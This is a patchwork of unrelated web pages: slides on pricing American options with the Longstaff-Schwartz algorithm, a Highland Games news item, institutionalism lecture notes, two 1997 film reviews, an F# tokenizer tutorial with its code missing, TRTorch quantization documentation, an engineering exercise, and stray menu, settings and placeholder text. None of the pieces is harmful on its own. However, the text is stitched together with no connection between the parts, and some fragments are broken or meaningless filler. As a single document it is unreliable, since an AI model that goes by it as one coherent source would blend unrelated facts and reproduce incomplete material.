name: title class: center, middle, inverse # Should I stay or should I go? ## Optimal Exercise Decisions using the Longstaff-Schwartz Algorithm --- name: agenda # Agenda
## What is a Call / Cancel / Enter / Exercise Right? - Callable Loan - American Put Option - Bermudan Swaption ## Call Right Valuation in General - A Framework for Optimal Exercise Decisions and Call Right Valuation - Risk-Neutral Valuation with Monte Carlo - Exercise vs. Continuation Value - Perfect Foresight / Hindsight - Nested Simulation ## Longstaff-Schwartz Algorithm - Approximation of Continuation Value - Polynomials in NumPy - Longstaff-Schwartz Algorithm in Python - Approximation Steps - Exercise or Hold - Exercise Boundaries ??? - No formulas, many graphics --- # What is a Call / Cancel / Enter / Exercise Right? ## Example: Callable Loan ![drawing](draw/loan.svg) The bank can decide after 10 years whether to cancel or continue the loan. ??? - Synonymous use of Call / Cancel / Enter / Exercise Right - Loan for 30 years, constant amortization (0.28% per month) - Cancel right for the bank after 10 years - After 10 years two thirds of the loan are still outstanding - The bank hast to choose whether to cancel or continue the loan - If the bank cancels the loan, the remaining two thirds have to be repayed immediately - If the bank does not cancel the loan, amortization continues as before - This is example is easy to understand, but harder to implement; hence we use another example for implementation... --- # What is a Call / Cancel / Enter / Exercise Right? ## Example: American Put Option ![drawing](draw/american-option.svg) An American put option gives the holder the right to sell the underlying stock for the *strike price* on any given day until maturity. The payoff is ``` max(strike - spot, 0) ``` ??? - There are many types of options, we focus on the simplest cases - An option is the right (but not the obligation) to buy or sell a stock at a given **strike price** - An option to buy a stock is called a call, an option to sell is called a put - For so-called European style call/put options there is a fixed date (maturity) when the underlying stock can be bought/sold - For so-called American style call/put options, the holder may choose any date (but only once) until maturity when to exercise the option - The holder of an American option has to decide every day whether to exercise their option or to hold it --- # What is a Call / Cancel / Enter / Exercise Right? ## Example: Bermudan Swaption ![drawing](draw/bermudan-swaption.svg) A Bermudan swapation gives the holder the right to enter the underlying swap on any specified exercise date. ??? - An interest rate swap is the regular (e.g. quarterly, semi-anually) exchange of a floating interest rate against a fixed coupon - Swaps are constructed at par, i.e. their value is zero when the trade is entered by the parties - A swaption (= option on a swap) is the right (but not the obligation) to enter a swap in the future - A European style swaption specifies a single date when the holder may exercise it - A Bermudan style swaption specifies multiple dates when the holder may exercise it - The holder of a Bermudan style swaption has to decide on each exercise date whether to enter the swap or not - We have seen three examples for call rights; now I will provide an overview how to evaluate them --- name:framework # A General Framework for Optimal Exercise Decisions and Call Right Valuation .column-4[ #### Payoff and Call Right Description
Financial product description in serialized form (JSON, XML) and / or as an object model
Our approach: Python payoff code for an American Put, no generalization ] .column-4[ #### Risk-Neutral Valuation Model
Arbitrage-free replication model and pricing technique (analytical, PDE solving, Monte Carlo, ...)
Our approach: Monte Carlo pricing in a Black-Scholes model ] .column-4[ #### Marketdata and Calibration
Fit model parameters to market quotes (forward curves, implied volatilities, ...)
Our approach: Freely choose model parameters ] .column-4[ #### Exercise Algorithm
Computation or approximation of continuation values and optimal exercise decisions
Our approach: Use Longstaff-Schwartz ] ??? - Before moving to call right problems, some more words about risk-neutral valuation and Monte Carlo --- # Risk-Neutral Valuation ## Monte Carlo Method ![drawing](draw/monte-carlo.svg) When using the Monte Carlo method, the model is simulated (sampled) many times. Independent realizations of a stochastic process are called paths. Each path can be seen as one possible future scenario. All paths are equally likely. Valuation happens by averaging payoffs over paths. ??? - With Monte Carlo method, model is simulated (sampled) many times - Independent realizations of a stochastic process are called paths - Each path can be seen as one possible future scenario - All paths are equally likely - Valuation happens by averaging payoffs over paths - We know now how to evaluate payoffs; how can we handle call rights? --- # Exercise vs. Continuation Value ![drawing](draw/exercise-or-continue.svg) Whenever the cashflow from exercising the put is larger than the continuation value, exercise is favourable. As it can only be exercised once, it would be exercised on the first favourable exercise date. ??? - To evaluate call rights, we have to compare two values: - Exercise value and continuation value - Exercise value is the cashflow we receive on exercising the option - Continuation value is the value of the option if we do not exercise - When exercise value is larger than continuation value we exercise, otherwise we don't - How do we get exercise and continuation value? - One is simple, the other one is hard --- # Exercise Value ![small-img](img/monte-carlo.svg) ![small-img](img/exercise-value.svg) Obtaining the exercise value is simple: just plug the underlying value (stock price) into the payoff function. ??? - On the left is the simulated stock price - We simply plug the call price into the payoff formulate of the Put option and get the exercise value - On the right we see the exercise value for all paths and timesteps - We have to an approximation: we cannot simulate continuously in time, but only for discrete time steps - Exercise value is simple, but how do we get continuation value? --- # Perfect Foresight / Hindsight ![drawing](draw/perfect-foresight.svg) ??? - Let's first discuss an approach that does not work - Can we simply use the future underlying values on a path to estimate the local continuation value? - No, we would be looking into the future; we would over-estimate the options value - Instead of the future values on the path we would need the **conditional expectation** given where we are --- # Nested Simulation ![drawing](draw/nested-simulation.svg) With nested simulation, a new set of independent paths has to simulated for each existing path from the call right onwards. The computational effort grows exponentially with the number of call rights. ??? - Let's try it with brute force: - For every path we perform a new set of simulations from the call right onwards - This approach is called nested simulation because we nest one simulation into another - This approach gives the correct result... - ...but the computational effort **grows exponentially** with more call rights --- # Approximation of Continuation Value ![](img/continuation-value-cashflows.svg) ??? - Let's try to approximate the continuation value --- # Approximation of Continuation Value ![](img/continuation-value-approximation.svg) ??? - Notice that we neither extrapolate nor interpolate with the fitted polynomial - We only apply the fitted curve at points we used in the regression (in sample) - We want to **smooth out the idioyncratic** information of each path... - ...so that we do not use future information anymore - This is a polynomial curve fitting problem and numpy gives us a nice tool to handle it... --- # Polynomials in NumPy ``` import numpy as np from numpy.polynomial import Polynomial import matplotlib.pyplot as plt x = np.array([0., 1., 2., 3., 4., 5., 6., 7., 8., 9., 10.]) y = np.array([0., -1., -1.4, -1.6, -1.2, -0.5, 0.9, 1.6, 2.1, 2.2, 2.3]) p = Polynomial.fit(x, y, 4) plt.figure(figsize=[6, 3]); plt.plot(*p.linspace(), '-'); plt.plot(x, y, '+'); ``` ![](img/numpy-polynomials.svg) ??? ``` plt.gca().set_position([0.08, 0.08, 0.9, 0.9]) plt.savefig('img/numpy-polynomials.svg') ``` - We now have all the tools and prerequsites to do the algorithm --- # Longstaff-Schwartz Algorithm in Python ``` def exercise_value(s): return np.maximum(1.1 - s, 0) # given no prior exercise we just receive the payoff of a European option cashflow = exercise_value(X[-1, :]) # iterating backwards in time for i in reversed(range(1, X.shape[0] - 1)): # discount factor between t[i] and t[i+1] df = np.exp(-r * (t[i+1]-t[i])) # discount cashflows from next period cashflow = cashflow * df x = X[i, :] # boolean index of all in-the-money paths itm = exercise_value(x) > 0 # fit polynomial of degree 2 fitted = Polynomial.fit(x[itm], cashflow[itm], 2) # approximate continuation value continuation = fitted(x) # exercise value for time t[i] exercise = exercise_value(x) # boolean index where exercise is beneficial ex_idx = itm & (exercise > continuation) # update cashflows with early exercises cashflow[ex_idx] = exercise[ex_idx] ``` ??? - `exercise_value` is the function that gives us the payoff when we exercise - We initialize the cashflow array with the payoff at maturity (at the last time step) - Then we work backwards in a loop - In the end we have the cashflow at the first time step with an exercise right; we now only need to discount to today and average - Let's look at the data this algorithm generates... --- # Approximated Continuation and Exercise Value I ![](img/approximated-continuation-and-exercise-value-0.svg) --- # Approximated Continuation and Exercise Value II ![](img/approximated-continuation-and-exercise-value-1.svg) --- # Approximated Continuation and Exercise Value III ![](img/approximated-continuation-and-exercise-value-2.svg) ??? - Closer to now we see no favourable exercises at all - Let's now see when the algorithm recommends us to exercise... --- # Exercise or Hold ![](img/exercise-or-hold.svg) --- # First Favourable Exercise ![](img/first-exercises.svg) --- # Exercise Boundary ![](img/fitted-exercise-boundary.svg) ??? - I have tried to fit a curve as a simple exercise boundary, but the results do not look promising - We are approaching the end, just a few words about generalization of the code... --- # More Complex Call Rights - Sometimes there is no concept of "in-the-money" paths; if exercise might be favourable on all paths, regression should be performed on all paths - If the payoff depends on more than a single state variable, regression should be performed on basis functions of all state variables (and their interactions to a limited degree) - If the payoff us path-dependent (non-Markovian), we have to evaluate the exercise/payoff function on the entire path up to the current time step --- # Source **Francis A. Longstaff, Eduardo S. Schwartz**, *Valuing American Options by Simulation: A Simple Least-Squares Approach* (The Review of Financial Studies) (2001) Vol 14, No 1, pp. 113-147.
# Slides and Jupyter Notebook https://github.com/luphord/longstaff_schwartz ![qrcode](img/qrcode.png) ??? - Before moving to Q&A, a few words on the original paper


On April 22, 2013 As a demo, this web site will go is always on strike in protest of CISPA.
All the pages you look at, will stare back at you.
If CISPA passes, they always will.
Feel free to fork this code if you need a site to go on strike for some reason. After all, reasons keep a comin' :)


ON THE ROPES
Highland Games chiefs fear tug o’ war is under threat with popularity dwindling as they appeal for government cash
by John JeffayHIGHLAND Games chiefs warn the tug o’ war is under threat — as the historic strength battle isn’t the pull it once was.
Bosses fear it could vanish and appealed for government cash to boost participation.
Scott Fraser of the Grampian Highland Games Association revealed just one team from outside the north-east consistently goes to the ten official tournaments each year.
He said: “Tug o’ war is amazing to play and watch but it is a struggle to get enough teams to travel to the tournaments.
“Highland Games do a huge amount to bring tourism and money to local economies and I don’t think that’s reflected by the Government.
“More funding would certainly help.”
Tug o’ war, an Olympic event between 1900 and 1920, involves two teams of eight trying to pull each other over a line.
GHGA organisers will meet Scottish Highland Games Association bosses on Sunday to plot how to drag the sport back to its former glory.
Aberdeenshire Tory MSP Alexander Burnett said: “The value of Highland Games in strengthening links with the Scottish diaspora is incalculable.”
The Scottish Government said it has invested £140,000 in Highland Games and gave £2,500 in 2018/19 to the Scottish Tug of War Association.
A spokesman said: “We are providing funding and support to ensure the Games thrive.”


Lecture 2
München/Zoom, 2. December 2020
Developed in 1980/90's in response to behavioural perspectives that dominated the 1960/70's.
Peter Hall and Rosemary Taylor sums up development and identify three different areas of research that is concerned with institutions.
Each of these have distinct answers to the following questions:
"By and large, they define them as the formal or informal procedures, routines, norms and conventions embedded in the organizational structure of the polity or political economy." (p. 938)
Historical institutionalists embrace several answers to this question.
Two overall approaches:
Rational-choice refers to theories that assume humans are rational beings. (very simplified)
Comes from organistional theory in sociology.
Reaction against earlier notion that organisations evolved to become more efficient over time.
Institutions define...
...which leads to a mutually-constitutive relationship between insitutions and individual action.
A "logic of social appropiateness" instead of a "logic of appropriateness".
What is "legitimate" and "socially appropriate"?
A matter of cultural authority.
"Neo-institutionalism focuses on how institutional settings structure and shape political strategies, processes and outcomes." (p. 83)
What can each of these approaches explain?


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THE MATCHMAKER (1997)
A film review by Steve Kong Copyright 1997 Steve Kong
I first saw Janeane Garofalo in Touch, which she had a small part. Though Touch was not a great movie, it was the one in which I fell in love with Garofalo. She's had small roles in some recent movies that I've caught, including the recent Cop Land, but nothing major that I've seen. The Matchmaker marks the first film that she is the lead in that I've seen. And what a wonderful film it is.
Marcy Tizard (Garofalo) works as an aide for Senator John McGlory. McGlory is up for re-election and needs something to run with. He's not a particularly bright man and that is why his campaign manager Nick Ward (Denis Leary) is almost in full control of McGlory. Ward needs something to help promote the Senator as a "family" man and it is this that brings him to the idea that they should dig up the genealogy of the Senator, who is Irish. Marcy is sent off to Ireland to find out about the Senator's background. And this is where the movie really starts.
Marcy is dropped into the Irish town of Ballinagra during it's matchmaking festival. It is during the festival that we meet Dermot (Milo O'Shea) who is one of the town's professional matchmakers. And with this we start the romance between Marcy and one of the town's men, Sean (David O'Hare).
Garofalo has a fantastic down-to-earth aura to her, and her cynicism about almost everything is something that I can relate to. She shows that she has great comic timing and is very charming all through the movie. And because she's the lead in this film she is the only reason to see this film. Though there are some other things that you might want to look for.
Milo O'Shea steals every scene that he is in, even the ones that are with Garofalo. His matchmaker character is a very memorable character. O'Hare is also someone to look for, he underplays his role, but it really works for the film.
Kudos to the cinematographer who captures the beauty of Ireland. There is a moment in the movie where the sights are so awe inspiring that the story almost gets lost.
The Matchmaker is definitely a date movie that is not to be missed. It has some great comedy in it, and I found myself laughing out loud many times during the showing. There is also the part that made me tear up, though I didn't start crying. All around The Matchmaker is a great showcase film for Jeneane Garofalo who deserves a big movie like this. Don't miss The Matchmaker in the theatres.
!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=! steve kong<EMAIL_ADDRESS>come visit the hard boiled movie page http://boiled.sbay.org/boiled/ !=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
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to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Compiler Services: Using the F# tokenizer
This tutorial demonstrates how to call the F# language tokenizer. Given F# source code, the tokenizer generates a list of source code lines that contain information about tokens on each line. For each token, you can get the type of the token, exact location as well as color kind of the token (keyword, identifier, number, operator, etc.).
NOTE: The FSharp.Compiler.Service API is subject to change when later versions of the nuget package are published
Creating the tokenizer
To use the tokenizer, reference FSharp.Compiler.Service.dll
and open the
SourceCodeServices
namespace:
1: 2: |
|
Now you can create an instance of FSharpSourceTokenizer
. The class takes two
arguments - the first is the list of defined symbols and the second is the
file name of the source code. The defined symbols are required because the
tokenizer handles #if
directives. The file name is required only to specify
locations of the source code (and it does not have to exist):
1:
|
|
Using the sourceTok
object, we can now (repeatedly) tokenize lines of
F# source code.
Tokenizing F# code
The tokenizer operates on individual lines rather than on the entire source
file. After getting a token, the tokenizer also returns new state (as int64
value).
This can be used to tokenize F# code more efficiently. When source code changes,
you do not need to re-tokenize the entire file - only the parts that have changed.
Tokenizing single line
To tokenize a single line, we create a FSharpLineTokenizer
by calling CreateLineTokenizer
on the FSharpSourceTokenizer
object that we created earlier:
1:
|
|
Now, we can write a simple recursive function that calls ScanToken
on the tokenizer
until it returns None
(indicating the end of line). When the function suceeds, it
returns FSharpTokenInfo
object with all the interesting details:
1: 2: 3: 4: 5: 6: 7: 8: 9: |
|
The function returns the new state, which is needed if you need to tokenize multiple lines
and an earlier line ends with a multi-line comment. As an initial state, we can use 0L
:
1:
|
|
The result is a sequence of tokens with names LET, WHITESPACE, IDENT, EQUALS and INT32.
There is a number of interesting properties on FSharpTokenInfo
including:
-
CharClass
andColorClass
return information about the token category that can be used for colorizing F# code. LeftColumn
andRightColumn
return the location of the token inside the line.TokenName
is the name of the token (as defined in the F# lexer)
Note that the tokenizer is stateful - if you want to tokenize single line multiple times,
you need to call CreateLineTokenizer
again.
Tokenizing sample code
To run the tokenizer on a longer sample code or an entire file, you need to read the
sample input as a collection of string
values:
1: 2: 3: 4: |
|
To tokenize multi-line input, we again need a recursive function that keeps the current
state. The following function takes the lines as a list of strings (together with line number
and the current state). We create a new tokenizer for each line and call tokenizeLine
using the state from the end of the previous line:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: |
|
The function simply calls tokenizeLine
(defined earlier) to print the names of all
the tokens on each line. We can call it on the previous input with 0L
as the initial
state and 1
as the number of the first line:
1: 2: 3: |
|
Ignoring some unimportant details (like whitespace at the beginning of each line and the first line which is just whitespace), the code generates the following output:
1: 2: 3: 4: 5: 6: |
|
It is worth noting that the tokenizer yields multiple LINE_COMMENT
tokens and multiple
STRING_TEXT
tokens for each single comment or string (roughly, one for each word), so
if you want to get the entire text of a comment/string, you need to concatenate the
tokens.
namespace FSharp
--------------------
namespace Microsoft.FSharp
Full name: Tokenizer.sourceTok
type FSharpSourceTokenizer =
new : conditionalDefines:string list * fileName:string option -> FSharpSourceTokenizer
member CreateBufferTokenizer : bufferFiller:(char [] * int * int -> int) -> FSharpLineTokenizer
member CreateLineTokenizer : lineText:string -> FSharpLineTokenizer
Full name: FSharp.Compiler.SourceCodeServices.FSharpSourceTokenizer
--------------------
new : conditionalDefines:string list * fileName:string option -> FSharpSourceTokenizer
Full name: Tokenizer.tokenizer
Full name: Tokenizer.tokenizeLine
Tokenize a single line of F# code
member ScanToken : lexState:FSharpTokenizerLexState -> FSharpTokenInfo option * FSharpTokenizerLexState
static member ColorStateOfLexState : FSharpTokenizerLexState -> FSharpTokenizerColorState
static member LexStateOfColorState : FSharpTokenizerColorState -> FSharpTokenizerLexState
Full name: FSharp.Compiler.SourceCodeServices.FSharpLineTokenizer
Full name: Microsoft.FSharp.Core.ExtraTopLevelOperators.printf
{PosBits: int64;
OtherBits: int64;}
member Equals : FSharpTokenizerLexState -> bool
static member Initial : FSharpTokenizerLexState
Full name: FSharp.Compiler.SourceCodeServices.FSharpTokenizerLexState
Full name: Tokenizer.lines
Full name: Tokenizer.tokenizeLines
Print token names for multiple lines of code
Full name: Microsoft.FSharp.Core.ExtraTopLevelOperators.printfn
module List
from Microsoft.FSharp.Collections
--------------------


Not draw
Circle
Rectangle
Triangle
Another regular poligon
Curved
Line
Quadratic
Bezier
Color
Eraser
Spray
Clear
Undo
Redo
Save


--- layout: archive title: Zulip Chat Archive permalink: /stream/116395-maths/topic/.60is_group_hom.60.20a.20class.3F.html ---
I was surprised to hear @Johannes Hölzl saying in Paris that he thought is_group_hom
should not be a class. The problem is that people often compose group homomorphisms by simply composing them rather than using function.comp
or the notation for it. On the other hand, the last time I looked, is_group_hom
was indeed a class. Should there be a discussion about whether this is the correct decision?
either make is_group_hom not a class, or make is_linear_map a class, I say
I agree with that. The current inconsistency is because different parts of the algebraic hierarchy were written by different people with different opinions
and at different times
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


Here are some things you'll need to know about to manage the Manor.
View the Status of Seeds/Crops
Edit Seed Setup
Edit Crop Setup
View Descriptions
Return


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Time (in seconds) for which we need to see sustained motion to claim that
the baby is moving:
Time (in seconds) for which if there is no motion, we think the baby has
gone back to sleep:
Heart rate (beats per minute) above which we think of the baby as being
awake. This is used in addition to any motion detected by the
camera:
SPO2 threshold below which we want to see an alarm:
Time (in seconds) for which we need to see the SPO2 fall below
the previous threshold to raise an alarm:


Birmingham's Ivory Wave, Dream Nights - EP review
There's a big buzz around Birmingham right now, with the 'B-Town' scene grabbing the attention of musical moguls the country over.
by Leigh SandersOne of the releases to garner the most hope and expectation is this five-track EP from Brummie indie-dance boys Ivory Wave.
And while it stands up to criticism and delights at times with those airy atmospherics, it doesn't quite live up to the social media hype.
More coverage:
There's plenty to love. The happy nature of Uptown with that shout-along chorus and stomping beats will prove popular wherever they play - such as at Digbeth's The Legitimate Peaky Blinders festival this year. Jangling guitars accompany happy-go-lucky vocals from frontman George Johnson and it's the kind of beer-can-fuelled house party anthem you'd expect.
It's accompanied with the funky and foot-tapping Pale Moonlight. Accented delivery from Johnson spews forth in almost guttural fashion before things open up for a real pop-jangler of a chorus. The dance vibes tucked within leave you recalling The Music.
But this track more than most leaves you feeling like a little oomph was lost somewhere along the way. The production from Matt Terry (The Prodigy, You Me At Six) upon recording at VADA Studios, Warwickshire, and mixing from Grammy Award-winner Adrian Bushby (Foo Fighters, Muse, Everything Everything) leaves it polished. But some gravitas feels extracted and the party vibe can feel a little shallow.
Further examples are opener The Middle and Weigh Me Down. The Stone Roses-esque latter number is clearly aimed at fans of that genre, and why not? They site the Mancunians as major influences so channel that love by all means.
The Middle does feel slightly heavier and full or a more raw energy powering it from start to finish. Seb Baldwin's percussion and the bass of Luke Morris really work here as they weave a delightful engine together that allows Connor McMin's guitar to dance.
The EP's finest moment is the emotive Young Blood that starts with a Young Aviators-style guitar ode to youthfulness before opening up into a vast wall of sound that thumps off your eardrums and features some excellent vocal support from Birmingham Community Gospel Choir.
Solid foundations from which to flourish from. There's nothing wrong with planting your feet firmly before pushing on - and the prospects look good for this positive mouthpiece for Birmingham's youth.
Rating: 6/10


Post Training Quantization (PTQ) ¶
Post Training Quantization (PTQ) is a technique to reduce the required computational resources for inference while still preserving the accuracy of your model by mapping the traditional FP32 activation space to a reduced INT8 space. TensorRT uses a calibration step which executes your model with sample data from the target domain and track the activations in FP32 to calibrate a mapping to INT8 that minimizes the information loss between FP32 inference and INT8 inference.
Users writing TensorRT applications are required to setup a calibrator class which will provide sample data to the TensorRT calibrator. With TRTorch we look to leverage existing infrastructure in PyTorch to make implementing calibrators easier.
LibTorch provides a
DataLoader
and
Dataset
API which steamlines preprocessing and batching input data.
This section of the PyTorch documentation has more information
https://pytorch.org/tutorials/advanced/cpp_frontend.html#loading-data
.
TRTorch uses Dataloaders as the base of a generic calibrator implementation. So you will be able to reuse or quickly
implement a
torch::Dataset
for your target domain, place it in a DataLoader and create a INT8 Calibrator
which you can provide to TRTorch to run INT8 Calibration during compliation of your module.
How to create your own PTQ application ¶
Here is an example interface of a
torch::Dataset
class for CIFAR10:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
//cpp/ptq/datasets/cifar10.h
#pragma once
#include "torch/data/datasets/base.h"
#include "torch/data/example.h"
#include "torch/types.h"
#include <cstddef>
#include <string>
namespace datasets {
// The CIFAR10 Dataset
class CIFAR10 : public torch::data::datasets::Dataset<CIFAR10> {
public:
// The mode in which the dataset is loaded
enum class Mode { kTrain, kTest };
// Loads CIFAR10 from un-tarred file
// Dataset can be found https://www.cs.toronto.edu/~kriz/cifar-10-binary.tar.gz
// Root path should be the directory that contains the content of tarball
explicit CIFAR10(const std::string& root, Mode mode = Mode::kTrain);
// Returns the pair at index in the dataset
torch::data::Example<> get(size_t index) override;
// The size of the dataset
c10::optional<size_t> size() const override;
// The mode the dataset is in
bool is_train() const noexcept;
// Returns all images stacked into a single tensor
const torch::Tensor& images() const;
// Returns all targets stacked into a single tensor
const torch::Tensor& targets() const;
// Trims the dataset to the first n pairs
CIFAR10&& use_subset(int64_t new_size);
private:
Mode mode_;
torch::Tensor images_, targets_;
};
} // namespace datasets
|
This class’s implementation reads from the binary distribution of the CIFAR10 dataset and builds two tensors which hold the images and labels.
We use a subset of the dataset to use for calibration, since we don’t need the the full dataset for effective calibration and calibration does some take time, then define the preprocessing to apply to the images in the dataset and create a DataLoader from the dataset which will batch the data:
auto calibration_dataset = datasets::CIFAR10(data_dir, datasets::CIFAR10::Mode::kTest)
.use_subset(320)
.map(torch::data::transforms::Normalize<>({0.4914, 0.4822, 0.4465},
{0.2023, 0.1994, 0.2010}))
.map(torch::data::transforms::Stack<>());
auto calibration_dataloader = torch::data::make_data_loader(std::move(calibration_dataset),
torch::data::DataLoaderOptions().batch_size(32)
.workers(2));
Next we create a calibrator from the
calibration_dataloader
using the calibrator factory (found in
trtorch/ptq.h
):
#include "trtorch/ptq.h"
...
auto calibrator = trtorch::ptq::make_int8_calibrator(std::move(calibration_dataloader), calibration_cache_file, true);
Here we also define a location to write a calibration cache file to which we can use to reuse the calibration data without needing the dataset and whether or not
we should use the cache file if it exists. There also exists a
trtorch::ptq::make_int8_cache_calibrator
factory which creates a calibrator that uses the cache
only for cases where you may do engine building on a machine that has limited storage (i.e. no space for a full dataset) or to have a simpiler deployment application.
The calibrator factories create a calibrator that inherits from a
nvinfer1::IInt8Calibrator
virtual class (
nvinfer1::IInt8EntropyCalibrator2
by default) which
defines the calibration algorithm used when calibrating. You can explicitly make the selection of calibration algorithm like this:
// MinMax Calibrator is geared more towards NLP tasks
auto calibrator = trtorch::ptq::make_int8_calibrator<nvinfer1::IInt8MinMaxCalibrator>(std::move(calibration_dataloader), calibration_cache_file, true);
Then all thats required to setup the module for INT8 calibration is to set the following compile settings in the trtorch::CompileSpec struct and compiling the module:
std::vector<std::vector<int64_t>> input_shape = {{32, 3, 32, 32}};
/// Configure settings for compilation
auto compile_spec = trtorch::CompileSpec({input_shape});
/// Set operating precision to INT8
compile_spec.op_precision = torch::kI8;
/// Use the TensorRT Entropy Calibrator
compile_spec.ptq_calibrator = calibrator;
/// Set a larger workspace (you may get better performace from doing so)
compile_spec.workspace_size = 1 << 28;
auto trt_mod = trtorch::CompileGraph(mod, compile_spec);
If you have an existing Calibrator implementation for TensorRT you may directly set the
ptq_calibrator
field with a pointer to your calibrator and it will work as well.
From here not much changes in terms of how to execution works. You are still able to fully use LibTorch as the sole interface for inference. Data should remain in FP32 precision when it’s passed into trt_mod.forward . There exists an example application in the TRTorch demo that takes you from training a VGG16 network on CIFAR10 to deploying in INT8 with TRTorch here: https://github.com/NVIDIA/TRTorch/tree/master/cpp/ptq
Citations ¶
Krizhevsky, A., & Hinton, G. (2009). Learning multiple layers of features from tiny images.
Simonyan, K., & Zisserman, A. (2014). Very deep convolutional networks for large-scale image recognition. arXiv preprint arXiv:1409.1556.


The bar BC shown in the figure has a diameter
4 cm
and its ultimate tensile stress is
100 kPa
.
What is the factor of safety of bar BC if the applied force is
50 kN
?
4 m
1.5 m
1.5 m
[ mechSolverCommon.globalSolutionBoxes ]
var answer = mechSolverCommon.checkAnswer();
if (!guess[0] && !answer) {
return ""; // User did not click, and correct answer is not
// initial array state
} else {
return answer;
}


LOST HIGHWAY A film review by Steve Rhodes Copyright 1997 Steve Rhodes
RATING (0 TO ****): ***
Few directors have such a unique, some would say bizarre, style as David Lynch. He received Academy Award nominations for THE ELEPHANT MAN and BLUE VELVET, but other pictures of his, such as DUNE and WILD AT HEART, have been panned by many. His latest, LOST HIGHWAY, is his most unorthodox film yet, but one of his better ones.
The press kit describes the movie as a "psychogenic fugue" and a "Moebius strip" with elements of Lewis Carroll and Franz Kafka. Yes, it is all of those and more.
LOST HIGHWAY blends film noir with the tension of a horror movie. The power comes from the director's use of silence. Characters are genuinely frightened by what is happening to them because they cannot figure it out. They react with stunned silence. (As you read this review you may be inclined to conclude that you have no interest in seeing the movie, but the film works more effectively than any possible verbal description of it might lead you to believe.)
When Renee Madison (Patricia Arquette) comes into the house with an unmarked envelope she found on her front steps, her husband Fred (Bill Pullman) inquires, "What's that?" After a long pause, she answers, "a videotape." Another pregnant pause, and then he asks, "Who's it from." She ponders for a while and then tells him, "I don't know." When they play the tape, its abstruse message is a two second video clip of the front of their house followed by the loud hiss of blank tape.
The sound effects editing and the music enhance the heavy tension. At first, the film has complete silence interspersed with dialog -- no background ambient noise at all. Slowly, low natural background sounds are introduced and then this gives way to music consisting of long, low rumbling notes designed to frighten.
I see so many films that I get somewhat desensitized, but the first part of this movie managed to scare me badly with devices as natural as the sudden, loud ringing of a phone. An intense and very disturbing film in the beginning. When the parameters of the mystery are revealed, the tension stays, but the film becomes much less disquieting.
I am not going to cover any of the film's details. I will just set up the first few minutes of the film. Suffice it to say that the film involves character transformation, reincarnation, surreal dreams, and more.
To give a feel of what is in store for the viewers, consider another early scene. Fred meets an inexplicable "Mystery Man," played by Robert Blake, at a party at someone else's home. "I'm at your house right now," the man tells Fred. Handing Fred a cell phone, he challenges him to, "Call me."
The script by Barry Gifford and David Lynch perplexes the viewers with all of the false views and disconcerting realities of an Escher print. An omnipresent, but an identifiable fear dominates the picture's landscape.
Some of the vignettes in the film are priceless. My favorite could become an educational video for traffic schools. After viewing how a gangster known as Mr. Eddy (Robert Loggia) treats tailgaters, drivers will never dare follow too closely again.
The cinematography by Peter Deming pushes the limits of the film noir motif. Not only are scenes dark but some characters walk into the darkness and disappear as if into an astronomical black hole. The costumes and sets, both by Patricia Norris, portray a world of stark black and white images which, of course, make the red blood all the more dramatic by contrast.
I was caught up in LOST HIGHWAY's labyrinth. You can think of the show as a film constructed with non-Euclidean geometry. I still don't understand it, but the movie is not made to be comprehensible. What is less satisfying is the way characters caught in a deadly web such as this never seek advice on what is happening to them. The closest they come in LOST HIGHWAY is seen when mechanic Pete Dayton (Balthazar Getty) laments, "Why me?" The answers to this and all of the film's conundrums are in the final analysis, unknowable.
LOST HIGHWAY runs needlessly long at 2:15. It is rated R for graphic violence, sex, nudity, and profanity. Teenagers should be mature if they go. I was fascinated by this long enigma so I recommend it to you and give it ***.
**** = A must see film. *** = Excellent show. Look for it. ** = Average movie. Kind of enjoyable. * = Poor show. Don't waste your money. 0 = Totally and painfully unbearable picture.
REVIEW WRITTEN ON: February 18, 1997
Opinions expressed are mine and not meant to reflect my employer's.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


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5 documents will appear during the video in the first 20 minutes.
First one, a Form will appear at second 1 and disappear second 15.
Second one, a Document will appear at second 5 and disappear second 15.
Third one, a Spreadsheet will appear at second 3 and disappear second 10.
Fourth one, a Presentation will appear at second 7 and disappear second 20.
Fifth one, a Drawing will appear at second 8 and disappear second 16.


“Design must be functional and functionality must be translated into visual aesthetics, without any reliance on gimmicks that have to be explained. ” — Tom Pathadan
“Creativity is just connecting things. When you ask creative people how they did something, they feel a little guilty because they didn’t really do it, they just saw something. It seemed obvious to them after a while. ”— Kevin George
“I think design would be better if designers were much more skeptical about its applications. If you believe in the potency of your craft, where you choose to dole it out is not something to take lightly. ”— Adil Rahman
No one looks back on their life and remembers the nights they got plenty of sleep.
Well, any good comeback needs some true believers.
Far far dfsdfdsfdsfgre
Far far away, behind the word mountains,
We propose a Placement Cell that runs yearlong, ensuring more student representation and an associated Internship Cell. Moreover Technical training classes which will prove useful for placements shall be implemented.
We will strive to bring an end to the double standards imposed on CET women. We propose to extend the LH curfew to 9pm after ensuring all the security measures required for the same
An Online Forum to broadcast all the relevant notifications related to the College/University.
To uphold the idea of availability of quality books for all, we propose to build a Platform to Buy and Sell Secondhand Books and Notes- Without Commision.
The college union proposes to take over all the vacated IISER hostels and accommodate all the students residing outside the Mens Hostel and provide Mess facility for all.
